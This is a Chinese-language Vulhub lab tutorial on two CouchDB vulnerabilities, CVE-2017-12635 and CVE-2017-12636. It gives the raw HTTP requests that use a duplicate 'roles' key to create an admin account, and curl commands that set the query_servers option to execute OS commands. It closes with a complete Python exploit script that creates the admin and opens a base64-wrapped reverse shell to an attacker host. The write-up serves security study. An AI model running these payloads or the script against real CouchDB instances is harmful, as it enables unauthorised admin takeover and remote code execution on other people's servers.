Vulhub 漏洞学习之:Couchdb
Vulhub 漏洞学习之:Couchdb
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
1 Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
影响版本:小于 1.7.0 以及 小于 2.1.1
参考链接:
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
1.1 漏洞利用过程
-
环境启动后,访问
http://your-ip:5984/_utils/
即可看到一个web页面,说明Couchdb已成功启动。但我们不知道密码,无法登陆。 -
首先,发送如下数据包:
PUT /_users/org.couchdb.user:admin1 HTTP/1.1 Host: 192.168.210.13:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 92 { "type": "user", "name": "admin1", "roles": ["_admin"], "password": "admin888" }
返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},提示只有管理员才能设置Role角色:
-
发送包含两个roles的数据包,即可绕过限制:
PUT /_users/org.couchdb.user:admin1 HTTP/1.1 Host: 192.168.210.13:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 110 { "type": "user", "name": "admin1", "roles": ["_admin"], "roles": [], "password": "admin888" }
-
成功创建管理员,并登录成功,账户:admin1密码:admin888
2 Couchdb 任意命令执行漏洞(CVE-2017-12636)
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
参考链接:
http://bobao.360.cn/learning/detail/4716.html
https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
2.1 漏洞利用过程
- 前提:该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。
注:Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。
2.1.1 1.x 版本
1.6.0 下的说明,依次执行如下请求即可触发任意命令执行:
-
添加一个名字为cmd的query_servers,其值为"id >/tmp/success"。
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
-
添加一个Database和Document,只有添加了后面才能查询。
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
-
在这个Database里进行查询,利用第一步添加的cmd的query_servers,触发命令执行。
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
2.1.2 2.x版本
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。
-
查询node name
curl http://vulhub:vulhub@your-ip:5984/_membership 可见,我们这里只有一个node,名字是nonode@nohost。
-
修改nonode@nohost的配置:
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
-
增加一个Database和一个Document:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest' curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
-
Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view,增加_view的同时即触发了query_servers中的命令。
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
2.2 利用脚本反弹shell
-
下载地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
修改其中的target和command然后修改version为对应的Couchdb版本(1或2)
#!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth # 修改目标主机 target = 'http://your_ip:5984' # 修改 Payload 值 command = rb"""sh -i >& /dev/tcp/your_host/your_host_port 0>&1""" # 修改目标版本,1或2 version = 1 session = requests.session() session.headers = { 'Content-Type': 'application/json' } # session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
-
成功反弹shell